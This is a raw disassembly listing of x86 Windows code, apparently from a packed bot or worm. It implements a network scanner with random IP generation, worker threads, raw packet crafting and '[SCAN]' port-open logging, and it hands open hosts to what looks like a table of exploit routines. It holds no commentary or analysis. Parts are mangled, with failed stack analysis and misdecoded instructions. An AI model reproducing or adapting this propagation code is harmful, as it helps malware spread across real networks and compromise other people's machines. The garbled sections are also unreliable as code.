		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423792
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423792:				; CODE XREF: sub_423760+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_50FABC
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4237CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4237CA:				; CODE XREF: sub_423760+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4237D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4237D6:				; CODE XREF: sub_423760+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4237E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4237E2:				; CODE XREF: sub_423760+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4237EC
		call	esi	; rand


loc_4237EC:				; CODE XREF: sub_423760+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50BB90[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423850	proc near		; CODE XREF: sub_401E38j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42387E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42387E:				; CODE XREF: sub_423850+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB4519h
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		call	near ptr 71AB2DC0h
		nop
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423940:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, dword_50FC2C
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A28
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423A69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423B68
; ---------------------------------------------------------------------------


loc_423A69:				; CODE XREF: ___:00423A5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423AC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_5EDAB2
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423AC2:				; CODE XREF: ___:00423A87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423B13
		mov	edi, dword_50FC58


loc_423AEA:				; CODE XREF: ___:00423B11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423B42
		cmp	[esp+0FEh], bp
		jnz	short loc_423AEA


loc_423B13:				; CODE XREF: ___:00423AE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423B63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B42:				; CODE XREF: ___:00423B07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B63:				; CODE XREF: ___:00423B23j
		push	offset dword_44467C


loc_423B68:				; CODE XREF: ___:00423A64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423C10:				; CODE XREF: ___:loc_401F23j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 27D07CDh
		push	eax
		nop
		call	near ptr 77C371BCh
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:448FCBh[eax*4]
		mov	eax, dword_4491CF[eax*4]
		mov	ecx, dword_50BB94[eax*8]
		test	ecx, ecx
		jz	loc_423EC4
		mov	ebx, off_50FBF0


loc_423C8C:				; CODE XREF: ___:00423EBAj
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423CA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423CAF
; ---------------------------------------------------------------------------


loc_423CA7:				; CODE XREF: ___:00423C96j
		call	sub_401F37
		add	esp, 4


loc_423CAF:				; CODE XREF: ___:00423CA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_50FC78
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5EDAB2
		add	esp, 18h
		lea	ecx, [esp+220h]
		push	ecx
		push	ebp
		call	ebx ; sub_5EDAB2
		mov	edx, [esp+138h]
		mov	eax, [esp+134h]
		push	edx
		push	eax
		push	esi
		call	sub_401E38
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_423EA0
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423DC2
		push	offset dword_50DAD0
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5EDAB2
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423DA2
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423D7D
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423D9A
; ---------------------------------------------------------------------------


loc_423D7D:				; CODE XREF: ___:00423D59j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423D9A:				; CODE XREF: ___:00423D7Bj
		call	sub_401523
		add	esp, 10h


loc_423DA2:				; CODE XREF: ___:00423D4Ej
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50DAD0
		nop
		call	near ptr 7C9010EDh
		jmp	loc_423EA0
; ---------------------------------------------------------------------------


loc_423DC2:				; CODE XREF: ___:00423D16j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5EDAB2
		mov	eax, [esp+150h]
		add	esp, 8
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+1F8h]
		lea	edx, ds:444420h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5EDAB2
		mov	al, [esp+0B0h]
		add	esp, 8
		test	al, al
		jz	short loc_423E12
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423E1F
; ---------------------------------------------------------------------------


loc_423E12:				; CODE XREF: ___:00423DFEj
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423E1F:				; CODE XREF: ___:00423E10j
		call	ebx ; sub_5EDAB2
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44444C[edx*4]
		add	esp, 0BCh


loc_423EA0:				; CODE XREF: ___:00423D08j
					; ___:00423DBDj
		push	7D0h
		call	near ptr 2811D0Bh
		nop
		mov	eax, [ebp+204h]
		mov	ecx, dword_50BB94[eax*8]
		test	ecx, ecx
		jnz	loc_423C8C
		mov	esi, [esp+10h]


loc_423EC4:				; CODE XREF: ___:00423C80j
		push	esi
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 2820000h
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_402261j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50BB90[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_401483
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424021
		push	offset dword_50DAD0
		call	near ptr 2760000h
		nop
		push	offset dword_50DAD0
		nop
		call	near ptr 27606B3h


loc_424021:				; CODE XREF: ___:00424009j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_50F8D0
		mov	esi, ebx
		mov	dword_50BB94[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_50FBF0
		jb	loc_424150
		mov	edi, dword_50F860


loc_424052:				; CODE XREF: ___:0042414Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5EDAB2
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BD6
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F23
		push	0
		push	0
		mov	dword_4491CF[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_4491DF[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_4491DF[eax*4]
		test	ecx, ecx
		jz	short loc_424118
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42413E


loc_424107:				; CODE XREF: ___:00424114j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_424107
		jmp	short loc_42413E
; ---------------------------------------------------------------------------


loc_424118:				; CODE XREF: ___:004240FAj
		nop
		call	near ptr 27A08E0h
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5EDAB2
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42413E:				; CODE XREF: ___:00424105j
					; ___:00424116j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424052


loc_424150:				; CODE XREF: ___:00424046j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42417E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_4241B1
; ---------------------------------------------------------------------------


loc_42417E:				; CODE XREF: ___:00424159j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50BB94[ecx*8], esi
		jnz	short loc_4241B1


loc_424193:				; CODE XREF: ___:004241A8j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50BB94[edx*8], esi
		jz	short loc_424193
		mov	eax, [esp+12Ch]


loc_4241B1:				; CODE XREF: ___:0042417Cj
					; ___:00424191j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50BB90[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5EDAB2
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_424212
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_401523
		add	esp, 10h


loc_424212:				; CODE XREF: ___:004241EBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50BB94[eax*8], 0
		call	ebp
		push	3
		call	sub_401483
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424254
		push	offset dword_50DAD0
		call	near ptr 2760000h
		nop


loc_424254:				; CODE XREF: ___:00424247j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E24
		add	esp, 4
		push	0
		call	near ptr 2820000h
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424330	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424330	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424350:				; CODE XREF: ___:004015E1j
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401834
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4243A0	proc near		; CODE XREF: sub_401834j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4243F2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4243F2:				; CODE XREF: sub_4243A0+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_4243A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424420:				; CODE XREF: sub_4021D5j
		mov	eax, [esp+8]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+18h]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424494
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+18h]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+20h]
		mov	esi, [esp+1Ch]
		lea	edi, [edx+eax]
		mov	eax, ecx
; ---------------------------------------------------------------------------
		dw 0E9C1h

; =============== S U B	R O U T	I N E =======================================



sub_42447C	proc near		; DATA XREF: Themida_:loc_5A0180o
		add	dh, bl
		movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
sub_42447C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_424494:				; CODE XREF: ___:0042443Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4244C0	proc near		; CODE XREF: sub_4016B8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4244D3
		push	eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4244D3:				; CODE XREF: sub_4244C0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4244C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_424517
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424517:				; CODE XREF: sub_424500+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		nop
		call	near ptr 77C2C407h
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424545
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424545:				; CODE XREF: sub_424500+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424574
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42458F
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42458F:				; CODE XREF: sub_424500+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_424500	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245F0	proc near		; CODE XREF: sub_401B68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F74
		lea	ecx, [esp+20h+var_8]
		call	sub_4021D5
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424635
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424635:				; CODE XREF: sub_4245F0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016B8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016B8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4245F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424720	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424720	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424760	proc near		; CODE XREF: sub_4014FBj

